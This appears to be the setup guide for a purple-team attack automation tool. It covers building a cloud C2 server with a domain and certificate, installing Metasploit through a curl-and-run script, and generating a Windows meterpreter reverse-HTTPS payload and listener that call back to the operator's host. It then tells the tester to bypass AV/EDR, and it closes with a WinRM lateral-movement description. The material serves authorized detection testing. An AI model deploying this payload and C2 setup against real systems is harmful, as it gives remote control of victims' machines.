Operational Setup and Usage

Setup and Usage

C2 Server

Spin up a cloud virtual machine. Praetorian is a fan of GCP, but other providers also would suffice.

https://cloud.google.com/compute/docs/quickstart-linux#create_a_virtual_machine_instance

DNS

Pick a domain name and register it in DNS. CloudFlare is easy and has low prices for domain name registration.

https://www.cloudflare.com/dns/

SSL

We recommend utilizing a valid SSL certificate for operational testing. LetsEncrypt is free and fast.

export DNS_NAME="mytestdomain.com"
wget https://dl.eff.org/certbot-auto
chmod a+x ./certbot-auto
./certbot-auto -q
./certbot-auto certonly -d $DNS_NAME --standalone --register-unsafely-without-email -n --agree-tos

Installation

Follow the directions here

SSL Certificate

Assuming you cloned to your home directory (replace the domain with your domain name)

cd /etc/letsencrypt/live/mytestdomain.com
cat privkey.pem fullchain.pem > ~/purple-team-attack-automation/MSF.pem

Payload

cd ~
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall
msfvenom -p windows/x64/meterpreter_reverse_https lhost=mytestdomain.com lport=443 -a x64 -f exe HandlerSSLCert=~/purple-team-attack-automation/MSF.pem StagerVerifySSLCert=true -o ~/attack-testing.exe

Transfer the payload to your test Windows box (make sure to add an exception for it in whatever AV/EDR you're using).

Listener

You can use the example resource script below to start your listener.

$ echo '<ruby>
print_status("Starting HTTPS listener for Windows x64 meterpreter on port 443.")
run_single("use exploit/multi/handler")
run_single("set payload windows/x64/meterpreter_reverse_https")
run_single("set lport 443")
run_single("set HandlerSSLCert MSF.pem")
run_single("set ExitOnSession false")
run_single("set StagerVerifySSLCert true")
run_single("exploit -j")
</ruby>' > ~/purple-team-attack-automation/scripts/resource/windows_listener.rc

After your listener is up and running, execute the payload as an administrator/root and you should receive a callback.

Description:
  Execution, Lateral Movement: Windows Remote Management (WinRM) is 
  the name of both a Windows service and a protocol that allows a user 
  to interact with a remote system (e.g., run an executable, modify 
  the Registry, modify services). It may be called with the winrm 
  command or by any number of programs such as PowerShell.
